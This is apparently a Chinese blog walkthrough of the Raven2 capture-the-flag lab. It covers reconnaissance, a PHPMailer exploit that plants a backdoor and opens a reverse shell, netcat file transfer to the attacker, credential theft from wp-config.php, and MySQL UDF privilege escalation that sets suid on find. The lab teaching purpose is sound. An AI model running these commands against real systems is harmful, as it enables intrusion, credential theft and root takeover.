Raven2靶场渗透

靶场搭建

链接:https://pan.baidu.com/s/1yW4m3Lj0nu4X2YTDRexp8g?pwd=bull
提取码:bull

漏洞复现

1、信息收集

1、主机发现

输入 netdiscover -i eth0 -r 192.168.22.0/24
-i:指定网卡设备
-r:指定扫描网段

2、端口扫描

nmap -Pn 192.168.22.0/24

3、目录遍历

dirsearch -u http://192.168.22.142/

访问一下/vendor目录,发现目录有很多的文件

从/path目录下发现第一个flag

再打开readme.md文件,这是一个phpmailer的介绍,在version中查看到版本

根据以上信息搜索phpmailer有无漏洞可利用

既然有,话不多说,开干。

2、漏洞利用

1、get shell

这里使用40947.py,下载到本地

searchsploit -m php/webapps/40974.py

修改一下保存退出

#1.target中的ip换成自己的靶机ip,backdoor的文件名可以改一个简单的
#2.回连IP与端口改成自己的宿主机ip,端口
#3.根据根目录修改haha.php所属位置,和我改一样就可以

运行40974.py文件

python 40947.py

访问contact页面时会生成haha.php页面后门,开启侦听,访问mm时会将靶机bash传过来

shell成功

升级一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

利用find指令找到两个flag

find / -name "flag*"

找到flag3的位置,用nc传过来

nc -nvlp 3333 > flag.png
nc 192.168.22.135 3333 < flag3.png -w 1

2、MySQL-UDF提权

在/var/www/html目录下使用ls查看文件,发现有一个wordpress的文件夹,cd进去寻找信息

重点查看配置文件wp-config.php,可以看到数据库账号和密码

cat wp-config.php
数据库账号:root
数据库密码:R@v3nSecurity

使用LinEnum.sh信息收集脚本对整个后台系统的扫描一遍

脚本下载地址:https://github.com/rebootuser/LinEnum

kali使用python开启http服务
python3 -m http.server 80

将脚本文件下载到靶机使用:
wget http://192.168.22.142/LinEnum.sh

赋予执行权限
chmod +x LinEnum.sh

执行扫描
./LinEnum.sh    

这里可以看到root是最高权限,所以进行提权,涉及到数据库提权可以使用udf提权方式获取最高权限

登录MySQL查看一下数据库版本,版本为5.5.60

在kali中搜索mysql udf

searchsploit mysql udf

使用第二个1518.c

#查找路径
find / -name 1518.c

#复制到/root目录下
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root

在kali上进行编译

gcc -g -c 1518.c
gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

将cmd.so文件上传到靶机

传输成功,现在登录mysql查询secure_file_priv是否为空

mysql -u root -pR@v3nSecurity            #登录mysql
show global variables like 'secure%';    #查询secure_file_priv

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

可写入文件,开udf提权

show databases;   #查询所有数据库
use mysql;        #使用mysql数据库

#创建表raven2
create table raven2(line blob);

#将刚上传的cmd.so插入表                             
insert into raven2 values(load_file('/var/www/html/cmd.so'));  
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

#新建存储函数
select * from raven2 into  dumpfile '/usr/lib/mysql/plugin/cmd.so';

#创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';

#查询函数是否创建成功
select * from mysql.func;

#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');

在shell界面执行find命令

提权成功,获取flag4

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值